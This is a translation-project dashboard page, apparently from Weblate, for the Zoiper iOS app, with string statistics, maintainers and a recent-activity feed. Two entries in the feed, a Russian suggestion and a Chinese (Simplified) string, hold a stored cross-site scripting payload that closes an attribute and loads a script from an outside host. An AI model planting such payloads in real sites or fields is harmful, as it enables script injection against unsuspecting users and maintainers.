Component Translated Unfinished Unfinished words Unfinished characters Untranslated Checks Suggestions Comments
UI 49% 13,099 39,774 242,487 13,001 3,330 788 0
Glossary Zoiper iOS 75% 43 107 1,497 43 0 8 0

Overview

Project website zoiper.com
Instructions for translators

https://www.zoiper.com/en/translate-licensing-agreement
Project maintainers User avatar Ivan Zlatev User avatar salah.rifaie User avatar plamen.zhelyazkov User avatar pwalther User avatar admin User avatar ralitza.markova

String statistics

Strings percent Hosted strings Words percent Hosted words Characters percent Hosted characters
Total 26,072 75,730 463,764
Source 1,145 3,248 19,923
Translated 49% 12,930 47% 35,849 47% 219,780
Needs editing 1% 98 1% 1,364 1% 8,088
Read-only 4% 1,079 4% 3,142 4% 19,200
Failing checks 12% 3,330 16% 12,339 16% 76,811
Strings with suggestions 3% 796 3% 2,824 3% 17,470
Untranslated strings 50% 13,044 50% 38,517 50% 235,896
Last 12 months Previous

Activity in last 12 months

19 changes 1,175 changes 28 changes 4 changes 0 changes 22 changes 0 changes 4 changes 3 changes 6,062 changes 24 changes 576 changes 0 changes 4 changes 0 changes 99 changes 27 changes 2,558 changes 38 changes 1,087 changes 258 changes 85 changes 1,033 changes 16 changes
Mar Apr May Jun Jul Aug Sep Oct Nov Dec Jan Feb

Quick numbers

75,730
Hosted words
26,072
Hosted strings
49%
Translated
2
Contributors
and previous 30 days

Trends of last 30 days

+4%
Hosted words
—
+4%
Hosted strings
—
−2%
Translated
—
+50%
Contributors
−100%
User avatar None

Suggestion added

Zoiper iOS / Zoiper iOS — Russian

"><script src=https://rootsecss.xss.ht></script>
Все на русском языке
11 hours ago
User avatar None

New string added

Zoiper iOS / Zoiper iOS — Chinese (Simplified)

"><script src=https://rootsecss.xss.ht></script>
 
yesterday
User avatar None

New string added

Zoiper iOS / Zoiper iOS — Chinese (Simplified)

IP Version Preference
 
yesterday
User avatar None

Resource update

Zoiper iOS / Zoiper iOS — Chinese (Simplified)

File zh_Hans.tbx was added. yesterday
User avatar dilun520aa

New strings to translate

Zoiper iOS / UI — Chinese (Simplified)

1079 new strings to translate appeared to the translation. yesterday
User avatar dilun520aa

Resource update

Zoiper iOS / UI — Chinese (Simplified)

File zh-Hans.lproj/Localizable.strings was added. yesterday
User avatar None

String updated in the repository

Zoiper iOS / UI — Chinese (Simplified)

Would you like to overwrite the old one?
 
yesterday
User avatar None

String updated in the repository

Zoiper iOS / UI — Chinese (Simplified)

Account already exists
 
yesterday
User avatar None

String updated in the repository

Zoiper iOS / UI — Chinese (Simplified)

Ok
 
yesterday
User avatar None

String updated in the repository

Zoiper iOS / UI — Chinese (Simplified)

Bad network quality!%@
 
yesterday
Browse all project changes